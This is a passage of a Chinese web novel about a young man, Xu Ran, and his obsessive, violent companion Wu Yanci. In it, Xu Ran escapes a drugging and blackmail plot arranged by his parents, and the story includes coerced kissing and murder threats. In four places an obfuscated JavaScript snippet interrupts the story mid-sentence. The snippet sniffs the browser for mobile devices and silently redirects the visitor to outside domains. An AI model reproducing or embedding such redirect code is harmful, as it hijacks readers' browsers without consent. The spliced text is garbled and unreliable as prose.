他忽然想到一种可能,于是点开了微信列表,发现列表里全都是正在聊天的对象,备注约莫都是:清纯女学生19岁,03年xx贫困青年,酒吧7包厢老板…… 男生应该是和这些人都有发生过关系,手里拿着这些人的照片,聊天记录露骨又暧昧,但有些却是恶毒的语气,大概内容就是不给钱就将照片和视频全部发布到网上去,让所有人都看到他们不堪的肉.体。 许然没想到这个外表清秀的男生内里居然脏到了这个地步,难怪刘丽娜和许昌能想出这种法子,肯定是被这个人‘指点’过了。 这种人渣,他砸的更狠一些也没问题吧。 浴室里的声音渐渐停了,对方约莫是要出来了,许然看着浴室的门,一点都不敢放松。 ‘咔嚓’的开门声响起,男生一手放在门把手上,另一只手拿着酒店的毛巾擦拭头发,还没看清什么东西飞了过来,头就被什么东西重击,钻心的钝痛传来,男生惨叫了一声,就感到温热的血液流了下来。 但他还没看清发生了什么,又有一个东西砸中了他的鼻梁,是手机,现在它已经躺在地上,屏幕碎成了蜘蛛网搬的碎片。 这都没晕! 许然在心里咒骂道。 男生擦了擦鼻子,发现鼻血也被砸了出来,不可置信地看向许然,踉跄地走过来,一把拽住许然的衣领:“你他妈还敢打我,你看我操不死你!” 许然定定看了男生半晌,然后又要用头往对方头上撞,居然想要两败俱伤,男生吓的赶紧松手,骂道:“你是疯子吗!老子经验丰富,原本是可以让你爽的,你非要这么不识相,我……” “烂黄瓜。” “你说什么?” “我说你是烂黄瓜--” 话没说完,外面传来了门铃声,有人问:“你好,你们这里是发生了什么吗?刚刚好像发出了不小的动静。” “没事,不小心摔了一跤。” 外面的人不依不饶:“我们需要查看一下到底是怎么回事,麻烦配合一下。” 男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405359|168752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生警告地看了许然一眼,然后拿毛巾堵住了许然的嘴,他随意地抽了几张纸擦掉血迹,然后把门打开。 结果这一开门,直接就让男生怔在了原地,他在gay吧混迹了那么久,什么样的男的没见过,但面前这个绝对是他这辈子,不,这辈子加上辈子都没见过的这么漂亮的人。他今天是什么运气,居然遇到了两个那么合自己胃口的人。 那漂亮的青年站在门口,笑了一下,就让男生不由得心中悸动。 青年好似惊讶地啊了一声:“先生,你头上流血啦,鼻子也流血啦。” 男生匆忙擦掉了鼻血,想保持一个得体的形象,不过即是这样,他看上去也十分滑稽可笑:“没事,我不是说了嘛,不小心摔了一跤。” 青年的目光往里面扫了一眼,疑惑道:“先生,里面的人是谁啊?” 男生阴狠地瞪了许然一眼:“我朋友,喝醉了发酒疯。” “朋友吗?”青年似乎若有所思,“我可从来没听说过我男朋友有你这个朋友呢。” 男生没反应过来:“什么?” 邬言辞妖治地笑了一下,像朵漂亮危险罂粟花,他的语调又轻快转为诡异,尾调又尖又细,好像由于过度愤怒而扭曲的声线:“我在问你,我男朋友为什么在你床上啊?” 邬言辞视线转移到床上被无法出声的许然身上,许然看见他,拼劲全力发出了破碎的声音,他不是把邬言辞迷晕了吗?他是怎么过来的? 不过这个问题不重要,重要的是,他得救了。他的怪物,他的小狗,过来救他了。 许然的手指轻微地动了动,他想要邬言辞过来帮忙把嘴里的毛巾拿出来,然后带他回家,他想说话。 邬言辞真是帮了他一个大忙,他会许诺邬言辞应有的奖励的,也许这次他可以给邬言辞更多的权利,他会更好地去培养这只忠诚的,护主的狗,只要他能为自己所用。 男生被那句话怔在原地,半天没反应过来。 许然看着邬言辞慢慢走到了自己身边,对着自己奇怪道:“小然,你不是陪我在家睡觉吗?这么晚了,为什么会在这里和别的男人开房啊?” 听到这句话,许然就意识到邬言辞可能又要发疯了,皱眉不解的看向邬言辞。 他不明白邬言辞又在质问什么,是觉得自己欺骗了他?可是作为一只听话的小狗,他现在要最应该做的是帮主人解决眼前的困境。 邬言辞笑着趴在许然的胸口,然后轻声道:“骗子,又骗我,” “如果我不来,你是不是就要和那个脏东西滚床单啦?” “这样很不好,我很生气,我生气,是会杀人的,在第一次见面的时候我就说过。” 男生意识到这人是来坏事的,想要将邬言辞推开,可是他居然一时推不动面前这个青年,他甚至纹丝不动,身上冰凉得不像个活人。 然后男生就看到了,邬言辞藏在身后的一把刀。 他身上有刀!男生意识到危险,立刻想要逃离房间,可是房间门不知道为什么怎么都打不开,他奋力撞门,也没有任何用处。 许然也看到了,他有些不可置信。邬言辞是什么时候拿的刀?从哪拿的?他想要做什么?无数的疑问飞快略过,让许然有些反应不及。 邬言辞却好像误会了许然呆滞的反应,他笑出眼泪,趴在许然上方直不起身:“小然在想什么呀,我是说过我生气会杀人,我没说过我会伤害小然啊,我怎么可能会伤害你呢!” “如果你死了,世界上就只有我一个人了,那我会很痛苦的,如果要死,应该是我们一起死,这样我们就能永远在一起啦,奈何桥,忘川路,我们会一起牵着手走过,多浪漫呀。” “我要杀的,当然是伤害小然的人啦,我想想,一个许昌,一个刘丽娜,还有被困在房间里的可怜鬼,先杀哪个呢?” 他自问自答道:“应该是可怜鬼吧,毕竟他现在就在身边,要是放过他,下次找到他可就不容易啦!” 15. 叛变 许然悬着的心刚放下,就又高高挂了起来。 他确实感到恶心,确实想要让那些人受到应该有的报应,他讨厌他们,厌恶他们,但这并不意味着他有勇气杀人,更何况,更何况邬言辞要是真的去把几个人都杀了,警察一定会找上自己的! 这三个人生前和自己都有接触,刘丽娜和许昌是自己法定意义上的父母,还和自己在生前爆发了冲突,万一他们死了,最大的嫌疑人是自己。 而邬言辞一个来无影去无踪的怪物,哪需要负什么责任,也许警方根本就捉不住邬言辞,又或许捉住了,然后发现邬言辞是他笔下的角色,自己还是脱不了干系,许然可不想下半辈子都在监狱里面过。 想到这,许然努力发出声音,发出来轻微的挣扎,邬言辞见许然一直在反抗,终于愿意将毛巾取出来。 许然可以说话后立刻大喊道:“不准!我命令你,不准杀人!” 邬言辞歪了歪头,眼神带了几分天真,就如同幼儿在询问他一个十分普通的问题:“为什么?可是他们欺负你呀。上次我已经忍住了没有杀掉他们了,为什么这次也不可以?” “因为……因为杀人是不对的啊,邬言辞,这是不对的。”许然有些慌张,他不知道应该怎样说动面前这个一心只想要杀人的,叛变的怪物。 而更让许然紧张的是,邬言辞已似乎已经不愿意听许然的话,而是拿着那把锃亮的刀,走向了已经吓得瘫软在地上,恐惧流泪的男生,许然只恨自己身上没有力气,不能起身阻止邬言辞。 “我们可以通过其他方法惩罚他们,把刀放下,听话,邬言辞。” 许然声音已经有些哑了,巨大的恐惧将他淹没。 男生也跟着求饶:“对啊对啊,我跟你们道歉,我现在就滚,你别乱来,否则,否则警察肯定会把你抓走的,我的家人也不会善罢甘休的!” 他看见邬言辞有些埋怨和委屈地看了自己一眼,理都没理男生,举起手里的刀,自顾自轻声道:“小然,闭上眼睛,别脏了你的眼,我很快就会处理好他的--等我把这些讨厌的人都处理完了,到时候再和小然道歉好不好。” 不好! 一点都不好! 邬言辞闭着一只眼,似乎在研究怎么样才可以最快一刀毙命,出血量最少,还没下刀呢,男生就已经吓晕了过去,也许这其中也有被许然砸的失血过多的原因。 许然的大脑里仿佛有一组生锈的齿轮在努力转动,可是有颗钉子卡在里面,怎么也无法思考出应该控制住邬言辞的方法,眼见邬言辞要将自己的后半生都毁了,许然被逼得眼角分泌出眼泪,手指也开始颤抖。 他忽然想到什么,激动地大声道:“邬言辞,你不是喜欢我吗?我现在想要吻你,你过来,你过来吻一下我好不好?” 即是许然这个要求有些前言不搭后语的怪异感,邬言辞却压根不管那么多,他的大脑思路和正常人完全不一样,听到这话,他眼中却立刻闪过一丝亮光,但他又马上冷静下来,缓缓摇了摇头:“宝宝,你等我,我处理完马上就过来吻你哦。” “不要!晚了我就不想吻你了,我就要现在,”许然喘着气,眼角被激出一滴泪,他的声音带上了绝望和一丝哽咽,“你不是最听我的话了吗?快点过来……你再不吻我,我就要痛苦死了,我命令你,现在就过来……” 邬言辞犹豫片刻,看到许然的一滴眼泪,终于还是把刀放下,快步走到了床前,心疼地抱住许然:“宝宝别哭,看到你哭,我的心也要碎啦……” 说完,他又有些迷恋地舔掉许然的那滴眼泪:“哭的我都硬了,小然真是的,怎么这么会诱惑人啊。不就是吻吗?我当然会给小然呀。” 许然终于恢复了一点力气,看到邬言辞过来,虚弱地伸出手,捉住了邬言辞的衣角:“不准走……” 邬言辞的眼睛充满爱欲,他低头慢慢贴近许然,许然轻颤着闭上眼,身体却不由自主想往后退,即使只有这么一点,邬言辞也敏锐地发现了,不容拒绝的按住许然的后脑,将他贴上自己的唇。 邬言辞又开始兴奋地颤抖了,脸颊飞快地上了一层绯色,他就好像怎么也吻不够一样,将没有反抗之力的许然压在床褥间肆意轻薄。 许然忍不住发出了一声轻哼,邬言辞的喘息声更重。 恍惚间,许然好像看到邬言辞的眸子都变成了妖治的红色,感到有什么湿漉漉的东西钻进了口腔,许然才意识到邬言辞做了什么。 他咬了邬言辞一口,想要让他退出去,可是对方跟不知道痛似的,吻的更深,更缠绵。 “啊哈……小然,你的口水是甜的,嘴唇和果冻一样,怎么都亲不够,”邬言辞边啄吻身下的许然,边怨声道,“可是这么美味的东西,小然居然不让我品尝第二遍,我都要被你逼疯啦。” 许然想说话,可是根本来不及,邬言辞就再次压上来追着许然吻。 “够……了……呜……我说……够了!” 邬言辞无视了许然的话语,继续亲吻,直到将许然吻到无法呼吸才堪堪放开。 许然恢复了一点力气,终于能将邬言辞推开,看都不用看,自己的嘴唇肯定红肿的不像话。 “你还听我的话吗?”许然看着邬言辞,微微喘着气,蹙眉问。 “当然啦,小然要我做什么我就做什么。”邬言辞甜蜜道。 许然闭了闭眼,哑然道:“那就别管他了,先带我回家。” 刚接完吻,邬言辞这时候乖到不可思议,也不再理会地上半死不活的人,甚至已经把要杀人这件事完全抛在了脑后。他把没有多少力气的许然抱在身上,又依照许然的话将他的卫衣帽子盖起来,这样别人就不知道邬言辞怀中的人是男是女,许然也少了几分尴尬。 凌晨一点的街上其实已经没什么人了,但许然还是觉得这样被别人抱着在大街上走着是一个十分羞耻的事情,他静静埋在邬言辞的怀里,不愿意探出头。 邬言辞却兴奋异常,他对着许然喋喋不休道:“宝宝,你终于让我在公共场合下和你亲密接触了,我好开心呀。” 这有什么好开心的,如果不是他没什么力气,邬言辞根本不会有这个机会。 “宝宝,我想让所有人都知道,你是属于我的,是只属于我一个人的。” 许然听到这话,才稍微动了动脑袋,意义不明道:“你也是属于我的。” 后半句话没说完。 ‘你也是属于我的独一无二的怪物’。 “当然。”邬言辞红着脸给出了肯定的回答。 许然忽然感觉背后抵着树,再抬头,就见邬言辞不知何时抱着他走到了路边,那双眸子正一错不错地盯着自己,他小声地激动道:“宝宝,又想亲你了。” “不准。”许然想也不想就拒绝了。 既然怪物已经冷静了下来,他也没有必要再给他什么安抚了。而且今天晚上他已经很累了,他需要休息一晚,然后想想怎么报复回去。 可是怪物 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405360|168752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却不是这么想的,怪物只觉得对方的吻就像是慢性毒.品,一旦沾上就再也离不开这种美好的幻境,仅仅分别片刻他就觉得自己已经要痛苦地死亡了,于是他忽略许然的意愿,低头再次覆了上去。 许然一惊,随即便是感受到了无边的愤怒。 他可以理解邬言辞之前处于失控状态下对自己的放肆。 可是现在是怎么回事,邬言辞不是说自己会听话吗?为什么要反抗自己的命令,他明明说了不准亲,不准亲,嘴巴到底有什么好亲的,邬言辞是有什么病吗,在酒店亲了那么久还亲不够。 于是许然再次狠狠咬住了邬言辞的舌头。可是邬言辞这个疯子哪里是他咬对方的唇舌就能反抗的家伙,许然逐渐失去攻势,在对方的挑逗下瞳孔逐渐失去焦距,存不住的口液从唇角流下,又被邬言辞尽数吃掉。 不知道过了多久,许然听到了一丝动静,他挪动了一点脑袋,就见几个像是刚聚完会的年轻人说说笑笑要从拐角处走过来。 许然立马慌张地挣扎起来,但是由于药物还有一些作用没有挥发掉,他的举动就和小猫挠爪似的,没有分毫作用,还惹得邬言辞的呼吸更重。 “有人……有人来了!滚!唔……啊……滚啊……” 邬言辞封住他的唇,就当没听见。 许然吓的心脏骤然停止,他们所处的位置正好背对路灯,只要对方不走近,就看不到自己,许然在心里祈祷,不要拐过来,不要靠近,不要再走过来了! 可是事与愿违,那几个人还是走了过来,如果没猜错,他们已经注意到了这边,交谈的声音也变小了,似乎在窃窃私语。 许然本就极少被人注视,他不由自主害怕那些人的目光,更何况是自己在如此窘迫的情况下,被人撞破正在做一些亲密的事情就已经够刺激了,万一他们发现是一对男生在接吻……许然光是想想就觉得脑袋要爆炸,于是他更加奋力逃脱邬言辞的吻。 “唔……挡住……我不要……被看,啊……” 邬言辞稍微退出来一点,两人之间拉出几根藕断丝连的透明的线:“不会让宝宝被看的。” 说完,他把许然的帽子又拉低了一些,整个人挡将许然拢住了,从背面只能看到邬言辞正搂着一个人在树干旁亲密,但更清楚的,就看不见了。 百步,六十步,四十步,二十步……最后那些人在距离两人约五六米的马路对面停下了,那些人果然发现了他们正在干什么,有人对他们随意调笑道:“干柴烈火啊。” “谁说不是呢。” “靠,搞得我也想我女朋友了。” “哈哈哈哈,下次约出来一起玩呗,省的你天天念着家里那个。” 许然害怕再挣扎真的就被发现了,只能安静温吞地窝在怀里被迫接受邬言辞的吻,邬言辞就像一头急需安抚的小兽,含着许然的下唇咬紧嘴里,又一寸寸舔过他的口腔内部,吸取着里面的液体。 许然连呼吸都不敢加重,紧闭着眼睛,两手抓着邬言辞的衣领,过于的紧张和害怕让他的脸上浮现几分痛苦和迷茫。 等听到那些人的声音远离,邬言辞才放开他,继续带着许然回家。 邬言辞是故意的吧,偏偏在这个时候才停,就是想要让别人看到他被邬言辞亲吻的狼狈模样? 一路上,许然都没有在说话,低气压环绕在他周围,偏偏邬言辞还没意识到,他感慨道:“宝宝好乖,好喜欢。” 许然心里只有五个字:叛变的小狗。 16. 驯化 在处理外敌之前,他得先处理好家里面这个东西。 邬言辞一次又一次忤逆自己的命令,未免太不服从管教,让许然心里的不安和对未来无法掌控的感觉愈加强烈,也让他心里越来越窝火。 如果怪物无法被驯化,那就只能被杀死,他不能被怪物凌驾。 许然被放在床上的第一件事就是生气地给了邬言辞一巴掌,但由于药效未过,感觉就像是脸上被摸了一下,邬言辞丝毫不觉得羞辱,反而引以为荣,贴着许然的手,病态道:“宝宝,扇的我好爽。” 许然没想到邬言辞会这样说,顿时更生气,冷声道:“放开我的手。” 邬言辞恋恋不舍地松开,才道:“小然,别生气。手疼不疼?” 许然已经懒得回应面前这个被人扇巴掌还觉得是调情的神经病,他沉默不语,阴郁地思考着用什么样的方式惩罚他。 邬言辞见许然不说话,试探道:“小然困了吗?要不要洗完澡再睡,今天有脏东西碰到小然了,如果小然实在懒得洗,我……” 话还没说完,许然不知想到什么,表情微变,忽然轻笑一声:“好啊,你帮我洗。” 邬言辞像是不可置信,他支支吾吾地指着自己,似乎没想到许然就这么将他还没说出口的话给同意了。 “啊,我帮小然洗吗……真的可以吗?” “你不想?” 邬言辞生怕许然反悔,立刻道:“我想!我想!只是一时间没有反应过来而已……小然你在这里乖乖等我,我去给你放热水试水温。” 说完,邬言辞便左脚拌右脚着急忙慌地出去了。 许然眯了眯眼,他还从未见过邬言辞如此冒失的模样,简直就像一个被赏了肉骨头之后无所适从的兴奋的小狗。 邬言辞很快就回来了,他的头发似乎被淋湿了一点,不过湿的地方恰好是一侧的刘海,不仅不显凌乱,还衬得脸型更流畅优越,他对着许然小心地开口:“小然,我放好水啦,现在去吗?” 许然点了点头,邬言辞便把他抱去了浴室。 感觉到邬言辞的手臂有些僵硬,许然不禁想,要杀人的时候都不带手抖的,帮他洗个澡居然会紧张。 邬言辞把许然放在洗漱台前,眼睛亮晶晶的:“宝宝,我帮你脱吗?” 许然微微仰头,算是同意了。 邬言辞便如同拆一份精致的礼物包装般慢慢将许然的衣服剥落下,它们一件件掉在地上,但最后一件被许然阻止,许然说:“把我放浴缸里。” 邬言辞照做,指尖的颤抖是他心神不宁的证据,许然看着,没有戳破,只是继续下命令:“把我衣柜抽屉里的东西拿过来。” “好。”邬言辞连问都没问就去了,回来的时候面上似乎带了一丝疑惑,他反复确定道,“宝宝要的是一副手套?” “不可以吗?”许然反问道。 “可以,小然想要什么都可以。” “那就把它戴上。” “嗯……嗯?”邬言辞有一瞬间的迷茫,但还是依言照做。 许然满意地看着邬言辞戴上自己抽屉里的全指手套,然后说:“现在你可以帮我洗澡了。” “啊……小然……”邬言辞的声音多了几分不情愿,他的眼神从许然滴水的下巴一直延伸到冷白色的皮肤,再往下到被布料包裹的身体。 许然也并不遮挡,没有哪个主人会在宠物看自己洗澡的时候感觉到羞耻,许然亦然,但不同的是,他是一个非常懂得因材施教的主人,如果巴掌不能教会邬言辞什么叫听话,那么他会用一些其他的特别的手段。 “你不是刚才还说你最听话了吗?怎么现在不听了?”许然面无表情道。 “我听的,只是这样不方便呀。”邬言辞解释道。 “没什么不方便的,”许然露出一个堪称戏谑的笑,现在的他已经恢复了大半的力气,于是他把被热水雾化的眼镜轻挑地挂在了邬言辞的鼻梁上,“这是我想出来的,专属于你的惩罚。” 明明想要碰的人就在眼前,明明已经触碰到了,却因为手套隔绝了触感,导致半分体验感都没有,这和看h片还不让diy有什么区别。 邬言辞这才反应过来,黑框眼镜配上他呆滞的反应竟显得有些可爱,许然挑了挑眉:“不洗了吗?” “洗,但是我不想戴手套。”邬言辞说着就要固执地摘下手套。 “如果你摘下来了,那洗完你就滚出我家。” “……”邬言辞的动作一滞,立刻软声道,“宝宝,我错了,你打我好不好,像刚才一样。” “不好。”许然算是发现了,打骂一点用都没有,对邬言辞来说通通都是奖励。 “小然,求求你啦……”邬言辞好像很明白如何发挥自己的特长,声音发软,眼尾下垂,看上去很是无辜,就连眉毛也轻微地皱起,眼睛乞求地看着自己。 好完美的包装。 他现在像一只正在对你摇尾乞怜的流浪狗,企图让路过的人对他生起怜悯之心,但只有你把他带回家,才会发现这实际上是个没有拔掉利牙的恶犬。 “不洗就出去。”许然不为所动。 邬言辞难过地看了许然一眼,终于认命地拿起毛巾给许然擦拭身体。 …… 邬言辞紧紧盯着许然的身体,他不想被许然赶出去,所以只能咬住自己的下嘴唇,像是在忍耐什么,光是擦拭完一遍身体,他的嘴唇就已经被咬得渗出了一丝血液,抹沐浴露的动作更是越来越慢,动作却越发用力,好像这样就可以透过厚重的布料触碰到他日思夜想的娇嫩皮肤。 许然看着邬言辞愈发幽深的眸子和下唇的血,终于轻声说:“张嘴。” 邬言辞死死盯着许然,张开嘴,露出了被咬出一道深痕的下唇。 许然伸出食指和中指在邬言辞的下唇轻轻按了按,没用什么力:“疼吗?” 邬言辞凑近许然,于是许然的手指就滑到对的的口腔,触碰到了软糯的粉红的舌头。 邬言辞含住了许然的手指,慢慢吮吸,他的舌头上有少量倒刺,勾在手指上,痒痒的。 “唔……不疼。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405361|168752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 死鸭子嘴硬,都咬成那样了还不疼,要是再深点就要留疤了,他的怪物很是漂亮,如果嘴唇留个疤还是不太好看,于是他没有再计较邬言辞舔.弄他手指的越权行为,只是抽出手指在浴缸中洗了洗。 “去给嘴唇上药。”许然垂眸洗手,淡声道。 邬言辞犹豫了一下,问:“那我上完药,还可以继续给小然洗澡吗?” 许然笑了一下,即使到了现在,这个怪物还不死心,于是他故意道:“看情况,如果你的嘴唇留疤了,变丑了,以后都不能给我洗澡了,如果没留疤,那还能考虑一下。” 邬言辞像是被吓到了,眼睛瞪得大大的,像一只毛绒绒的可爱的仓鼠,二话不说就出去擦药了。 而等他再回来,许然已经换好睡衣打算回房间了,泡了热水之后药效已经全然消失,许然可以自己走回去,这种重新获得身体主权的感觉让许然的心情好了一些,以至于他没有注意到邬言辞的失落。 邬言辞跟在许然的身后回了卧室,便一言不发,直到许然已经躺下打算关灯睡觉,他也没有任何动静。 这是生闷气了? 说实话,许然觉得自己根本没有哄人的必要,但也许是因为时间已经过于晚,他觉得自己可以避免熬夜,直接通宵,于是对邬言辞说:“你怎么了?” 邬言辞微微侧过脸,许然便看到了晶莹的泪痕。 又哭了? 果然,邬言辞转过头,好不楚楚可怜,他半垂着头,说:“小然,你还生气吗?” 原来是还在担心这个。 许然如实回答:“不生气了,已经惩罚过了,就过去了,但是如果还有下次……” “没有下次了!不会再有下次了,小然。” 许然听到这个回答十分满意,面上却没有什么表情,只是伸出手揉了揉邬言辞的头发,他顺从地让许然触碰他,然后又道:“小然,我很漂亮的,你身边那些人都没有我好看,你不可以不要我,我刚刚看了,我的嘴巴没有留疤。” 其实就算留了疤许然也不会觉得怎么样,但听邬言辞这么说,他觉得有点有趣,便说:“抬头我检查一下。” 邬言辞听了,便乖乖仰头给他看。 好像还真是……恢复的特别快,伤口都没了,而且一点痕迹都不留,因为不是人的缘故吗? 许然好奇地在邬言辞的下唇按了按,邬言辞却忽然发出一声闷哼。 “又怎么了?”许然抬眼看着邬言辞。 邬言辞眼神飘忽,带着微喘:“没事啊,我没事小然,你再碰碰我,哪里都行。” “那你喘什么?” “……”邬言辞沉默不语,不知道是害羞了还是在想什么。 “跟发情的小狗一样。”许然说,然后在邬言辞的额头落下一吻。 邬言辞惊讶地抬头,就见许然吐字道:“我困了,晚安吻,赏你的。” 给一个巴掌再给一个甜枣的道理许然还是很懂的,做完这些后,他也实在是困了,没有再管邬言辞,自顾自倒头就睡了。 17. 合作 一觉醒来,邬言辞居然没起来煮饭,而是环着自己睡觉,许然感到有些稀奇,他一张口,就感觉到嘴唇传来一丝刺痛感。 许然拿起手机一照,发现自己的嘴唇有些红肿,下唇还多出了个和邬言辞差不多的口子,像是被谁咬的。 “小然,看什么呢?”邬言辞忽然出声。 许然差点被吓到,这家伙起床从来没有缓冲期,许然有时候怀疑他以为的邬言辞睡着了到底是睡了还是没睡。 许然看了看自己唇上的伤口,又在邬言辞唇上碾了一下,忽然眯起眼睛,狐疑道:“邬言辞,你不会趁我睡觉亲我吧?” 邬言辞懵了一下,眼神无辜:“昨天小然都生气了,我怎么可能再不听话,我已经记住了,没有小然的允许是不可以亲吻小然的。” 看邬言辞一脸坦然且理所当然的样子,许然想了想还是没有计较,毕竟昨天他都要被吻窒息了,什么时候被咬到没注意也挺正常的,于是他警告道:“你最好记清楚。” 邬言辞笑着点点头,舔了一下虎牙,像是回味什么。 许然没看邬言辞,手指在手机屏幕滑动。 休息够了,他现在还有件事要办,要怎么样才能够一劳永逸地解决刘丽娜和许昌那两个病瘤,只要有他们在,他们就不会放弃从自己身上捞钱的想法,只会不断给自己找麻烦,这次躲过去了,那下次呢,下下次呢? 但是许然口中的“解决”和邬言辞口中的“解决”肯定不是同一个意思,他没有必要为了因为人渣而断送自己的一生,要用什么方法,才可以合理,合法地将他们切断,这是个难题。 “小然,我昨天在酒店把这个带回来了。”邬言辞说着,把一个摔碎屏幕的手机交给了许然。 许然看到它,眼前一亮:“对,有了它,我可以先把那个烂黄瓜送进去。” 里面的罪证很多,够对方喝一壶的了,只是这样还不够,他还想要把那两个毒瘤除掉,应该怎样让他们自我暴露呢? 也许应该换个思维,应该是人在什么状态下会最容易自爆。 --是恐惧,胆怯,被触碰到红线,极其危险的时候。 也许这个手机不止能把烂黄瓜送进去,许然还可以顺水推舟,演一场戏给他们看。 既然他们知道找人伪装来骗自己,那自己就不能骗回去吗,毕竟你来我往才是处世之道。 许然忽然转过头,声音愉悦道:“我想到了一个一石二鸟的计划,不过需要你的帮忙。” 邬言辞安静地注视着许然思考坏点子的模样,唇角微勾:“我都听小然的。” -- 一直在家等消息的许昌有些坐不住了,男生到第二天都还没给自己发信息,他再次点开聊天界面,想要催促对方,却发现信息并没有成功发出去,而是显示了一个红色感叹号。 “他妈的,居然敢骗我--”许昌意识到什么,大骂道。 刘丽娜见状,赶紧道:“我也有他好友,我现在去问问。” “问,赶紧问!” 刘丽娜发送信息:照片和视频拿到了没有? 这条信息成功被发送了过去,并没有红色感叹号,刘丽娜看着许昌摇了摇头。 对面秒回:拿到了。 许昌见状直接将手机抢来,发送了长达二十秒的语音:“那你把我删掉是什么意思?我告诉你,拿了钱就得办事,要是你发的东西让我不满意,我有的是办法弄死你。” 对面这次过了一会儿才回:删掉你纯粹因为恶心你,你要是再敢对我用不客气的语气说话,我就不发了。 许昌哑然,气得半晌说不出话。 刘丽娜安抚道:“没事,我来沟通。” 刘丽娜:他不会再说话了,你发过来吧。 于是对方没有再纠结刚才的摩擦,而是很爽快地发了一个视频过来,封面是黑色的,什么都看不清。 刘丽娜忐忑地点了进去,发现镜头像是被手捂住了,过了好一会儿才拿开,出现了凌乱的床单,跟随着镜头靠近,可以看出有人躺在被子里,拿着镜头的人掀开一点被子,就慢慢露出了许然全都是血的脸,但是他没有闭眼,而是睁着眼睛却没有焦距,看上去就像是死不瞑目一般。 刘丽娜手一抖,问:怎么都是血? 对方回答:他反抗得厉害,没办法,已经被玩死了。 正常母亲也许会因此而悲愤难过,但刘丽娜却只是着急地打字:玩死了我们还怎么找他要钱?不是说好了拍照录视频就可以了吗!你得把我们给你的钱还给我们,还得赔我们钱! 对方不语,只是又发了一个视频过来。 这个视频的封面也是黑色的,刘丽娜点进去才看到内容,而这个视频的里却是男生自己,他躺在地上闭着眼睛,头像是被重物撞击后受伤了,手上沾到了些许血液,墙壁上飞溅的猩红液体也争先恐后地滑落在地,而在他的身旁,有一把染血的刀放在那里。 刘丽娜感到有些不对劲和害怕,她和许昌对视一眼:你发这个视频是什么意思……你受伤了? 对方:不是受伤了,是死了哦,帮你们办事出意外死掉了,怎么还要我赔钱?你们才应该赔钱给我吧。 刘丽娜短促地叫了一声,手机就掉在了地上,她支支吾吾道:“他,他说他死了,那现在在和我们聊天的是谁?” 许昌把手机拿过来,大骂道:“这你也信,滚开我来。” 但是他满头大汗,看起来也有些中气不足。 许昌:你说你死了,那你是怎么发信息的?别耍我们了。 对方显示正在输入中,但是过了好一会儿也没有发送信息出来,而是弹出了一个视频电话。 微信视频电话的声音在空荡的房间里不断回响,两人一时间竟是都不敢接通,过了好一会儿,视频电话自动挂断了,于是对方又打了过来,铃声不断响起,就像催命的号令不断在靠近。 许昌咽了一口口水:“有什么好怕的!” 说完便立刻接通了视频电话,紧张地看着屏幕里的画面。 视频里只露出了邬言辞的那张美艳的脸,背景一点都没有露出来,他挑眉:“我还以为你们不敢接。” 许昌咬牙:“原来是你在装神弄鬼。” 刘丽娜看到邬言辞这张脸再次出现在现实,顿时大惊失色:“他……他,他又来了……” 第一次被邬言辞抓去在视频面前忏悔的时候,刘丽娜就已经被吓到不敢吱声,这个人和梦里的少年如此相像,本能的让她恐惧。在帮许昌做拍照威胁这件事之前,她就没少担惊受怕,害怕这个人还会卷土重来。 邬言辞注意到刘丽娜,微笑着打了个招呼:“嗨喽,老阿姨,又见面啦。” 刘丽娜尖叫一声,缩进了角落,竟是不敢再看邬言辞的脸。 许昌也有些怵他,此时不由得道:“你到底想怎样?” “我?只是想带你见一个人罢了。” “谁?” “一个能给你钱的人。开门。” 原本许昌不敢开门,但听到能给钱,想了想,把缩在角落的刘丽娜提起来,把她往门口推:“他说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15405362|168752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他就在门口,会给我们钱,你去开门。” 刘丽娜流着泪摇头:“我不要!他会杀了我的!” 许昌给了刘丽娜一巴掌:“你不去的话,我会更先打死你。” 许昌的力度很大,刘丽娜捂着脸,哭哭啼啼的被迫去开门。 门口,邬言辞逆着光站在那,身影好看,活脱脱将简陋的房屋提高了一个层次,他说:“你们开门真慢。” 